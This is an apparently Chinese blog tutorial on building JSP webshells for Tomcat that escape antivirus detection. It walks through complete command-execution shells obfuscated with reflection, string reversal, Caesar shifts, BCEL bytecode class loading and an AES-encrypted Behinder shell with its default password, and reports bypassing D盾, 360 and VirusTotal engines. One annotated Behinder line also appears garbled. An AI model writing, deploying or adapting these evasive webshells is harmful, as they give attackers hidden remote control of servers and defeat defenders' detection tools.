在tomcat下运⾏的jsp代码
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%
out.print(System.getProperty("os.name").toLowerCase()); //os.name获取操作系统的类型
String cmd = request.getParameter("cmd"); //参数cmd
if(cmd != null){
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd}); //执行命令,使用列表数组的方式
InputStream input = p.getInputStream(); //获取字节流
InputStreamReader ins = new InputStreamReader(input, "GBK"); //放入字符输入流,设置编码防止乱码
BufferedReader br = new BufferedReader(ins);//从字符输⼊流中读取⽂本并缓冲字符
out.print("<pre>");
String line; //定义line变量
while((line = br.readLine()) != null) { //遍历
out.println(line); //用line接受每个内容
}
out.print("</pre>"); //为了在网页中输出
br.close();
ins.close();
input.close();
}
%>
可以看到访问会出现os.name的内容,也就是操作系统,然后我们加上cmd参数执行命令
可以看到成功执行命令
然后我们来查杀下,先用360
360没查杀出来
用D盾再试试
可以看到被查杀出来了。
package com.example.jspwenshell2;import java.lang.reflect.Method;
public class invoke {
public static void main(String[] args) throws Exception{
// java.lang.Runtime.getRuntime().exec();
Class c = Class.forName("java.lang.Runtime"); //反射获得java.lang.Runtime类
Method r = c.getDeclaredMethod("getRuntime",null); //获得方法,其实getMethod就可以,因为getRuntime是public方法,这里用getDeclaredMethod就不用判断是不是public和private了,比较方法,没有参数写null
Method e = c.getDeclaredMethod("exec",String.class); //获得exec方法,也在c中,参数string
e.invoke(r.invoke(null,null),"calc"); //先是r反射获得这个Runtime类,这个类没有类型也没有参数,所有都是null,然后e反射获得,参数为我们要执行的calc
}
}
运行:
可以看到成功反射弹出计算器
然后我们写到jsp中
test2.jsp:
<%@ page import="java.lang.reflect.Method" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%
Class c = Class.forName("java.lang.Runtime");
Method r = c.getDeclaredMethod("getRuntime",null);
Method e = c.getDeclaredMethod("exec",String.class);
Process process = (Process) e.invoke(r.invoke(null,null),"calc");%>
可以看到访问test2.jsp成功弹出计算器
但是页面没有输出,那么我们来输出到页面,输出页面就需要加入输入流,首先转换到字节流,然后转换到字符流,然后再到缓冲区,再一个个读出来,放到stringbuffer里面
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="jdk.internal.util.xml.impl.Input" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%
String cmd = request.getParameter("cmd");
if (cmd!=null){
try{
Class c = Class.forName("java.lang.Runtime");
Method r = c.getDeclaredMethod("getRuntime",null);
Method e = c.getDeclaredMethod("exec",String.class);
Process process = (Process) e.invoke(r.invoke(null,null),cmd);
InputStream inputStream = process.getInputStream(); //获取输入流
InputStreamReader is = new InputStreamReader(inputStream,"GBK"); //InputStreamReader 是字节流通向字符流的桥梁
BufferedReader br = new BufferedReader(is); //构造一个BufferedReader(缓冲区),里面存放在控制台输入的字节转换后成的字符
StringBuffer sb = new StringBuffer("<pre>"); //作用是在StringBuffer对象中插入内容,然后形成新的字符串,<pre>是为了格式化
String line;
// line=br.readLine();
while ((line=br.readLine())!=null){ //读取到不为空就继续遍历
sb.append(line+"\n"); //添加到新的StringBuffer
}
out.print(sb+"</pre>"); //输出
br.close(); //关闭流
is.close(); //关闭流
inputStream.close(); //关闭流
}catch (IOException e){
e.printStackTrace();
}
}
%>
可以看到成功命令执行,
然后我们重新D盾查杀试试。
发现是可疑文件了,比之前明显程度减少了,但还是不行,看来我们还需要继续做一些免杀。
要想反转,我们得先将字符串分割开,然后从后往前排序:
package com.example.jspwenshell2;public class revstr {
public static void main(String[] args) {
revstr("abc");
}public static String revstr(String str){
for (int i=0;i<str.length();i++){
System.out.println(str.charAt(i));
}return null;
}
}
介绍:charAt()方法返回指定索引位置的char值。
可以看到成功将值根据自己下标单个输出。
然后我们反转:
package com.example.jspwenshell2;public class revstr {
public static void main(String[] args) {
revstr("abc");
}public static String revstr(String str){
String line = "";
for (int i=0;i<str.length();i++){
line = str.charAt(i) + line;
System.out.println("line="+line);
}return null;
}}
可以看到成功反转,但是这样看能看到整个循环过程,我们重新更改输出位置。
可以看到这样输出就很舒服了,
知道怎么反转之后,我们来反转我们的反射代码。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="jdk.internal.util.xml.impl.Input" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%!
public static String revstr(String str){
String line = "";
for (int i=0;i<str.length();i++){
line = str.charAt(i) + line;
}
return line;
}
%>
<%
String cmd = request.getParameter("cmd");
if (cmd!=null){
try{
Class c = Class.forName("java.lang.Runtime");
Method r = c.getDeclaredMethod("getRuntime",null);
Method e = c.getDeclaredMethod("exec",String.class);
Process process = (Process) e.invoke(r.invoke(null,null),cmd);
InputStream inputStream = process.getInputStream();
InputStreamReader is = new InputStreamReader(inputStream,"GBK");
BufferedReader br = new BufferedReader(is);
StringBuffer sb = new StringBuffer("<pre>");
String line;
// line=br.readLine();
while ((line=br.readLine())!=null){
sb.append(line+"\n");
}
out.print(sb+"</pre>");
br.close();
is.close();
inputStream.close();
}catch (IOException e){
e.printStackTrace();
}
}
%><%
out.print(revstr("java.lang.Runtime"));
out.print("<br>");
out.print(revstr("getRuntime"));
out.print("<br>");
out.print(revstr("exec"));
%>
也就是在原来代码基础上加了9-18行,也就是代码段(<%! 代码段%>),在49-57行加了输出。
可以看到成功反转,接下来我们将反转后的代码放进去,然后调用反转函数revstr,也就是反反等于正。
最终代码如下:
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="jdk.internal.util.xml.impl.Input" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%!
public static String revstr(String str){
String line = "";
for (int i=0;i<str.length();i++){
line = str.charAt(i) + line;
}
return line;
}
%>
<%
String cmd = request.getParameter("cmd");
if (cmd!=null){
try{
Class c = Class.forName(revstr("emitnuR.gnal.avaj"));
Method r = c.getDeclaredMethod(revstr("emitnuRteg"),null);
Method e = c.getDeclaredMethod(revstr("cexe"),String.class);
Process process = (Process) e.invoke(r.invoke(null,null),cmd);
InputStream inputStream = process.getInputStream();
InputStreamReader is = new InputStreamReader(inputStream,"GBK");
BufferedReader br = new BufferedReader(is);
StringBuffer sb = new StringBuffer("<pre>");
String line;
// line=br.readLine();
while ((line=br.readLine())!=null){
sb.append(line+"\n");
}
out.print(sb+"</pre>");
br.close();
is.close();
inputStream.close();
}catch (IOException e){
e.printStackTrace();
}
}
%><%
out.print(revstr("java.lang.Runtime"));
out.print("<br>");
out.print(revstr("getRuntime"));
out.print("<br>");
out.print(revstr("exec"));
%>
可以看到成功运行,
那么我们再来看看D盾杀软能不能绕过。
可以看到还是可疑文件,
那么我们看看是哪段代码被检测到了。
很有可能是如下这部分:
那么我们将它删掉。
可以看到检测不出来了,
那么我们重新写这段代码,我们可以换个方式通过字节来获取内容。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="jdk.internal.util.xml.impl.Input" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%!
public static String revstr(String str){
String line = "";
for (int i=0;i<str.length();i++){
line = str.charAt(i) + line;
}return line;
}
%>
<%
String cmd = request.getParameter("cmd");
if (cmd!=null){Class c = Class.forName(revstr("emitnuR.gnal.avaj"));
Method r = c.getDeclaredMethod(revstr("emitnuRteg"),null);
Method e = c.getDeclaredMethod(revstr("cexe"),String.class);
Process process = (Process) e.invoke(r.invoke(null,null),cmd);
InputStream inputStream = process.getInputStream();
int a=-1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=inputStream.read(b))!=-1){
out.print(new String(b));
}
out.print("</pre>");
inputStream.close();
}
%><%
out.print(revstr("java.lang.Runtime"));
out.print("<br>");
out.print(revstr("getRuntime"));
out.print("<br>");
out.print(revstr("exec"));
%>
可以看到成功命令执行,
然后,我们再次试试D盾能不能检测到。
可以看到没有检测到,成功绕过D盾,我们看看还能绕过哪些,上VT。
可以看到通杀。
凯撒密码说白了就是ascii码偏移,从而不易被检测到进行免杀。
举个列子,字符串abc的凯撒加密,
首先先转成ascii码看看值。
package com.example.jspwenshell2;public class kaisa {
public static void main(String[] args) {
kaisa("abc");
}
public static String kaisa(String str){
for (int i=0;i<str.length();i++){
char j = str.charAt(i);
System.out.println((int)j);
}
return null;
}
}
可以看到转成ascii码了,a是97
那么我们来加密。
package com.example.jspwenshell2;public class kaisa {
public static void main(String[] args) {
System.out.println("kaisa(\"abc\") = " + kaisa("abc"));
}
public static String kaisa(String str){
String line = ""; //定义新字符串
for (int i=0;i<str.length();i++){
char j = str.charAt(i);
j=(char) (j-2); //这里j-2就自动转换成ascii进行计算了,然后我们才强转成char
line = line + j; //接收,遍历叠加
}
return line;
}
}
可以看到凯撒密码成功获得,
然后我们替换输出字符串。
package com.example.jspwenshell2;public class kaisa {
public static void main(String[] args) {
// System.out.println("kaisa(\"abc\") = " + kaisa("abc"));
System.out.println(kaisa("java.lang.Runtime"));
System.out.println(kaisa("getRuntime"));
System.out.println(kaisa("exec"));}
public static String kaisa(String str){
String line = ""; //定义新字符串
for (int i=0;i<str.length();i++){
char j = str.charAt(i);
j=(char) (j-2); //这里j-2就自动转换成ascii进行计算了,然后我们才强转成char
line = line + j; //接收,遍历叠加
}
return line;
}
}
可以看到成功将我们的命令进行凯撒加密,
然后我们将生成的值替换上去,遍历之前减2,那么我们加2,即可还原命令。
package com.example.jspwenshell2;public class kaisa {
public static void main(String[] args) {
// System.out.println("kaisa(\"abc\") = " + kaisa("abc"));
System.out.println(kaisa("h_t_,j_le,Pslrgkc"));
System.out.println(kaisa("ecrPslrgkc"));
System.out.println(kaisa("cvca"));}
public static String kaisa(String str){
String line = ""; //定义新字符串
for (int i=0;i<str.length();i++){
char j = str.charAt(i);
// j=(char) (j-2); //这里j-2就自动转换成ascii进行计算了,然后我们才强转成char
j=(char)(j+2);
line = line + j; //接收,遍历叠加
}
return line;
}
}
然后我们写到jsp中
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="jdk.internal.util.xml.impl.Input" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%!
public static String kaisa(String str){
String line = ""; //定义新字符串
for (int i=0;i<str.length();i++){
char j = str.charAt(i);
// j=(char) (j-2); //这里j-2就自动转换成ascii进行计算了,然后我们才强转成char
j=(char)(j+2);
line = line + j; //接收,遍历叠加
}
return line;
}
%>
<%
String cmd = request.getParameter("cmd");
if (cmd!=null){Class c = Class.forName(kaisa("h_t_,j_le,Pslrgkc"));
Method r = c.getDeclaredMethod(kaisa("ecrPslrgkc"),null);
Method e = c.getDeclaredMethod(kaisa("cvca"),String.class);
Process process = (Process) e.invoke(r.invoke(null,null),cmd);
InputStream inputStream = process.getInputStream();
int a=-1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=inputStream.read(b))!=-1){
out.print(new String(b));
}
out.print("</pre>");
inputStream.close();}
%><%
// out.print(revstr("java.lang.Runtime"));
// out.print("<br>");
// out.print(revstr("getRuntime"));
// out.print("<br>");
// out.print(revstr("exec"));
%>
这里修改就是<%! 代码段写成了我们的函数%>,下面调用函数名改成我们的函数即可。
可以看到成功命令执行
然后我们看看能不能过D盾
可以看到成功过D盾,上VT
通杀。
原理:可以把一个类进行读取,然后用java里面的bcel编码,然后放到类加载器中加载,然后再执行
那么我们先来写读取的。
package com.example.jspwenshell2;import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.nio.Buffer;public class ByteCodeEvil {
String res;
public ByteCodeEvil(String cmd) throws Exception{
StringBuilder stringBuilder = new StringBuilder().append("<pre>");
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream(),"GBK"));
String line;
while ((line=bufferedReader.readLine())!=null){
stringBuilder.append(line).append("\n");
}
stringBuilder.append("</pre>");
//回显
this.res = stringBuilder.toString();}
public String toString(){
return this.res;
}public static void main(String[] args) throws Exception{
System.out.println("new ByteCodeEvil(\"ipconfig\") = "+new ByteCodeEvil("ipconfig"));
}
}
可以看到成功输出ipconfig结果
然后我们来进行bcel字节转换,
是在如下这个类里面:
com.sun.org.apache.bcel.internal.classfile.Utility
然后我们来看看这个类,字符转换用到encode()方法。
也就是Utility.encode()这个方法进行了bcel加密,
那么我们来写下这个字节转换。
Tobecl.java
package com.example.jspwenshell2;import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.nio.file.Files;
import java.nio.file.Paths;public class ToBecl {
public static void main(String[] args) throws Exception{
String encode = Utility.encode(Files.readAllBytes(Paths.get("E:\\CS魔改\\jspwenshell2\\target\\classes\\com\\example\\jspwenshell2\\ByteCodeEvil.class")),true);
System.out.println(encode);
}
}
可以看到成功bcel加密,
接下来放到类加载器中加载。
用到如下这个类:
com.sun.org.apache.bcel.internal.util.ClassLoader
进入这个类,直接看loadClass
可以看到当类名包含$$BCEL$$时候,就会创建类,然后进入类加载defineClass(),
那么我们跟进去
进去跟进去
跟进defineClass1
可以看到native方法,那么这就是跟到最底层了
那么我们来用类加载
package com.example.jspwenshell2;import java.lang.reflect.Constructor;
public class jspbecl {
public static void main(String[] args) throws Exception{
Class c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
ClassLoader loader = (ClassLoader) c.newInstance();
String beclcode="$$BCEL$$"+"$l$8b$I$A$A$A$A$A$A$A$8dU$5bw$d3F$Q$fe6V$bc$b2PB$o$c7$q$a1$z$E$b7$80m$i$dc$a6$f4$C$84P$M$81R$9c$Q$92$Q$ea$d2$9b$yo$i$FY$d2$91e$I$bf$a8$af$a5$a7$b5$7b$9as$fa$c8C$7fG$9f$fa$hzJge$3b$8e$P$e6$f2$e0$d1$ee$cc$ec$7c3$df$cc$ae$ff$fa$ef$8f$3f$B$5c$80$a3$e18$$r$5c$d20$82$8b$w$$$cb$ef$o$c7$V$8e$r$NW$f1$85$U$d74$Uq$5d$c5$N$N$i$cb$g$e2$b8$v$c5$z$V_$aa$b8$zO$7c$95$40$Kw$S$uaE$c5$w$c7$5d$Vk$g$a9$eeI$e3$ba$86$Nlr$dcg$88$F$a2$c1$60$94v$cd$c7f$c11$ddZa$p$Ml$b7v$99$n$beh$bbv$b8$c4$90$ca$bcl$cen1$u$d7$bd$aa$608Z$b2$5d$b1$da$acWD$b0iV$i$n$c3y$96$e9l$99$81$z$f7$5d$a5$S$ee$d8$Eu$b6dy$f5$82$d83$eb$be$p$K$bb$N$ff$89p$h$3b$c2q$W$K$c5$a7$a1$90$n$97$l$db$O$e1$c7$acz$95a$ac$R$B$W$9b$b6S$V$B$c3$ecK$b9tMtb$bc$d2$dc$de$W$81$a8$ae$L3r$9e$e98$db$5e$a18$60$n_$c5$a1$ac$v$fcFhZ$8fVL$3f$ca$92x$e2$d8$o$f2$89o$Gmy$cf$S$7eh$7bn$83$e3$B$83$gz$jD$86$a9Lv$YeJ$dd$b4$5d$86c$99$87$af$60$cc$Mj$c4Ar$88$99$e06$bcf$60$89$9b$b6dk$f20$Z$e7$a5$b7$8e$f7$f05$c3$f4$x$cag$Y$5d$f4$D$b1$a4$a3$8co$u$85$e1$85$T$7f$3d$c3m$d7o$86$UB$98$f5$8e$8d$e3$a1$8eo$f1$9d$8e$ef$f1$D$c7$8f$3aLT$a8$N$b7$8aw$q$b6$rEU$87$c0$C$D$d3$e4$7c$U$3a$80$laA$c7$3bx$97c$5bG$N$3b$M$t$5d$f1d$eep$F$99$b4$ed$5b$9e$bbm$d7$d2$d9$b9$xs$M$a7$dfj$K$88$f3$de9$89$7eB$Wgs$ec$eax$84$T$M$T$7d$$$eeVv$85$V$O$a8z$bdJ$f6U$H$N$a5$b22$b2$nq$d3$f7$85Kc6$3fl$c6_3j$93$7d$d3z$d3$N$ed$3a$f5L$ab$89$f0$60$93$g$98$90$aeZ$8e$88$d8$T$W$5d$837$e0$ad$F$9e$r$g$8dA$a4$ae$92$G$9d$90$O$f5$8f$a6$a2$876$d8X$3a$9e$cb$M5$M$9f$cfd$df$b9$7bQ$a4V$a5$T$d5Rt$5d$O$d3$fb$b4$R$K$82$8eyM$e2$3dupp$8d$a2$f5$e1$Hx$ed4$e9$b5$bc$s$87$84a$e0$be$dc9$$N$d1$Tv$9c$deIF$3f$9a8$921Z$d3d$d0$abv$92v$7f$d3$x8J$df$fb$b96$d8$3eF$cam$c4$M$a5$85$d1$95$7d$c4$cb$fb$e0$e5$df$a1$9ek$n$d1$82f$iiCoclu$be$85$f1$f2$r$e59$8c$fc$ac$f45$8e$92x$f0$d3$8b$7f$f2$c6$84$5c$e5$f2$zL$fe$G$e3Y$E7G2$N$95d$C$K4L$e2$I$f2$Y$c3$a7$Y$c72$s$e8$c55$b0$89$vJU$3e$e7Q2$e4$ff$3e$Q$ad$3e$a0$a4$a9$a7$b8$81$d38CI$e7$91$c5Yd$u$ee$c7$e4$95$r$ab$82$5cT$dc$c8$L2$w$i$e78$f2$i$f3$i$e7$81$7f1C$3b$U$c8A$a10$l$d2$8f$$$lIY$7b$81$be$92$97$d1$dc$af0$7e$a6$c5H$94k$3cRNG$f9$e8$j$87n$3e$J$c2$bc$d0$rn$8d$b4$d2$96$fe$F$c9$koST$fc$3eRe$e3X$h$d3$z$cc$Q$L$z$cc$3e$3b$88$y$ffJd$a6$a7$u$eb$7e$f44$3e$n$$0$90$e4g$d1$99$cf$ff$H$f1$Z$ac$40$e5$G$A$A";
Class<?> aClass = loader.loadClass(beclcode);
Constructor<?> constructor = aClass.getConstructor(String.class);
constructor.newInstance("calc");
}
}
可以看到成功弹出计算器,
但是打印不出来结果
因为我们并没有将这个实例化类constructor进行输出
那么我们加入输出
可以看到成功打印出来
然后我们就可以放到jsp中了
发现没输出,是因为我们输出需要改成jsp中的out.print()
可以看到成功,那么我们将写死的命令写成cmd可控
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%
String cmd = request.getParameter("cmd");
if (cmd!=null){
Class c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
ClassLoader loader = (ClassLoader) c.newInstance();
String beclcode="$$BCEL$$"+"$l$8b$I$A$A$A$A$A$A$A$8dU$5bw$d3F$Q$fe6V$bc$b2PB$o$c7$q$a1$z$E$b7$80m$i$dc$a6$f4$C$84P$M$81R$9c$Q$92$Q$ea$d2$9b$yo$i$FY$d2$91e$I$bf$a8$af$a5$a7$b5$7b$9as$fa$c8C$7fG$9f$fa$hzJge$3b$8e$P$e6$f2$e0$d1$ee$cc$ec$7c3$df$cc$ae$ff$fa$ef$8f$3f$B$5c$80$a3$e18$$r$5c$d20$82$8b$w$$$cb$ef$o$c7$V$8e$r$NW$f1$85$U$d74$Uq$5d$c5$N$N$i$cb$g$e2$b8$v$c5$z$V_$aa$b8$zO$7c$95$40$Kw$S$uaE$c5$w$c7$5d$Vk$g$a9$eeI$e3$ba$86$Nlr$dcg$88$F$a2$c1$60$94v$cd$c7f$c11$ddZa$p$Ml$b7v$99$n$beh$bbv$b8$c4$90$ca$bcl$cen1$u$d7$bd$aa$608Z$b2$5d$b1$da$acWD$b0iV$i$n$c3y$96$e9l$99$81$z$f7$5d$a5$S$ee$d8$Eu$b6dy$f5$82$d83$eb$be$p$K$bb$N$ff$89p$h$3b$c2q$W$K$c5$a7$a1$90$n$97$l$db$O$e1$c7$acz$95a$ac$R$B$W$9b$b6S$V$B$c3$ecK$b9tMtb$bc$d2$dc$de$W$81$a8$ae$L3r$9e$e98$db$5e$a18$60$n_$c5$a1$ac$v$fcFhZ$8fVL$3f$ca$92x$e2$d8$o$f2$89o$Gmy$cf$S$7eh$7bn$83$e3$B$83$gz$jD$86$a9Lv$YeJ$dd$b4$5d$86c$99$87$af$60$cc$Mj$c4Ar$88$99$e06$bcf$60$89$9b$b6dk$f20$Z$e7$a5$b7$8e$f7$f05$c3$f4$x$cag$Y$5d$f4$D$b1$a4$a3$8co$u$85$e1$85$T$7f$3d$c3m$d7o$86$UB$98$f5$8e$8d$e3$a1$8eo$f1$9d$8e$ef$f1$D$c7$8f$3aLT$a8$N$b7$8aw$q$b6$rEU$87$c0$C$D$d3$e4$7c$U$3a$80$laA$c7$3bx$97c$5bG$N$3b$M$t$5d$f1d$eep$F$99$b4$ed$5b$9e$bbm$d7$d2$d9$b9$xs$M$a7$dfj$K$88$f3$de9$89$7eB$Wgs$ec$eax$84$T$M$T$7d$$$eeVv$85$V$O$a8z$bdJ$f6U$H$N$a5$b22$b2$nq$d3$f7$85Kc6$3fl$c6_3j$93$7d$d3z$d3$N$ed$3a$f5L$ab$89$f0$60$93$g$98$90$aeZ$8e$88$d8$T$W$5d$837$e0$ad$F$9e$r$g$8dA$a4$ae$92$G$9d$90$O$f5$8f$a6$a2$876$d8X$3a$9e$cb$M5$M$9f$cfd$df$b9$7bQ$a4V$a5$T$d5Rt$5d$O$d3$fb$b4$R$K$82$8eyM$e2$3dupp$8d$a2$f5$e1$Hx$ed4$e9$b5$bc$s$87$84a$e0$be$dc9$$N$d1$Tv$9c$deIF$3f$9a8$921Z$d3d$d0$abv$92v$7f$d3$x8J$df$fb$b96$d8$3eF$cam$c4$M$a5$85$d1$95$7d$c4$cb$fb$e0$e5$df$a1$9ek$n$d1$82f$iiCoclu$be$85$f1$f2$r$e59$8c$fc$ac$f45$8e$92x$f0$d3$8b$7f$f2$c6$84$5c$e5$f2$zL$fe$G$e3Y$E7G2$N$95d$C$K4L$e2$I$f2$Y$c3$a7$Y$c72$s$e8$c55$b0$89$vJU$3e$e7Q2$e4$ff$3e$Q$ad$3e$a0$a4$a9$a7$b8$81$d38CI$e7$91$c5Yd$u$ee$c7$e4$95$r$ab$82$5cT$dc$c8$L2$w$i$e78$f2$i$f3$i$e7$81$7f1C$3b$U$c8A$a10$l$d2$8f$$$lIY$7b$81$be$92$97$d1$dc$af0$7e$a6$c5H$94k$3cRNG$f9$e8$j$87n$3e$J$c2$bc$d0$rn$8d$b4$d2$96$fe$F$c9$koST$fc$3eRe$e3X$h$d3$z$cc$Q$L$z$cc$3e$3b$88$y$ffJd$a6$a7$u$eb$7e$f44$3e$n$$0$90$e4g$d1$99$cf$ff$H$f1$Z$ac$40$e5$G$A$A";
Class<?> aClass = loader.loadClass(beclcode);
Constructor<?> constructor = aClass.getConstructor(String.class);
Object o = constructor.newInstance(cmd);
out.println("o = " + o);
}%>
完成之后,我们放到D盾中再次查杀
可以看到成功绕过
既然要自定义classloader,那么我们想到的就是classloader----->defineclass----->defineclass1
但是我们需要用findclass()来调用defineclass()
那么我们将findclass这块复制过去修改即可
我们还是先将输出内容读取
然后写自定义类,将它加载进去
这里写好的试了下有点问题,先不写上
要想做好冰蝎免杀马,先要理解其原理
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{// classloader 类加载器
U(ClassLoader c){// 构造⽅法 参数为⽗类加载器
super(c);
}
public Class g(byte []b){// g⽅法调⽤⽗类加载器加载类
// defineClass的作⽤是处理前⾯传⼊的字节码,将其处理成真正的Java类,并返回该类的Class对象
return super.defineClass(b,0,b.length);
}
}%>
<%if (request.getMethod().equals("POST"))// 校验该请求是否是POST⽅法
{
// 定义⼀个已经加密好的密钥 改密钥是AES加密算法的密钥
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
// session.putValue⽅法 跟session.setAttribute⽅法类似,但是可以设置多个值
session.putValue("u",k);
// Cipher是加密算法的接⼝,它提供了加密和解密的⽅法 这⾥是实例化⼀个AES加密算法的密钥
Cipher c=Cipher.getInstance("AES");
// c.init ⽅法 这⾥的2 跟进代码中 是解密的意思 1是加密的意思 2 是解密 参数1是密钥 参数2是加密模式 采⽤AES
c.init(2,new SecretKeySpec(k.T(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(request.getParameter("p").getBytes())).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
//将代码分解
// U(this.getClass().getClassLoader()) 这⾥的this.getClass().getClassLoader()是获取当前类的类加载器
//.g(c.doFinal(newsun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())))
// request.getReader().readLine() 这⾥的request.getReader().readLine()是获取请求的数据
// new sun.misc.BASE64Decoder().decodeBuffer() 这⾥的new sun.misc.BASE64Decoder().decodeBuffer()是将请求的数据解密
// c.doFinal() 这⾥的c.doFinal()是将解密后的数据进⾏加密 参数是解密后的数据
// newInstance() 这⾥的newInstance()是将加密后的数据转换成类对象
// .equals(pageContext) 这⾥的.equals(pageContext)是将类对象转换成字符串对象 并且⽐较两个字符串对象是否相等
}%>
和自定义类加载器写法几乎一样,然后开始写免杀
<%@page
import="java.util.*,javax.crypto.*,javax.crypto.spec.*,sun.misc.BASE64Decoder"%>
<%@ page import="java.lang.reflect.Constructor" %>
<%!class U extends ClassLoader
{
U(ClassLoader c){super(c);
}
public Class g(byte []b)
{
return super.defineClass(b,0,b.length);
}
}%>
<%if (request.getMethod().equals("POST"))
{
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
Class c2 = Class.forName("javax.crypto.spec.SecretKeySpec");
Constructor Constructor=c2.getConstructor(byte[].class,String.class);
SecretKeySpec aes = (SecretKeySpec)Constructor.newInstance(k.getBytes(),"AES");
c.init(2,aes);
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
String input= request.getReader().readLine();
byte[] bytes=(byte[]) Base64.getDecoder().decode(input);
Class clazz2=Class.forName("javax.crypto.Cipher");
byte[] clazzBytes=(byte[]) clazz2.getMethod("doFinal",byte[].class).invoke(c,bytes);
Class clazz=new U(contextClassLoader).g(clazzBytes);
clazz.newInstance().equals(pageContext);
}%>
连接密码:rebeyond
效果:
可以看到成功连接
看看免杀情况:
可以看到过D盾,然后上VT
效果不错
点击下方小卡片或扫描下方二维码观看更多技术文章
师傅们点赞、转发、在看就是最大的支持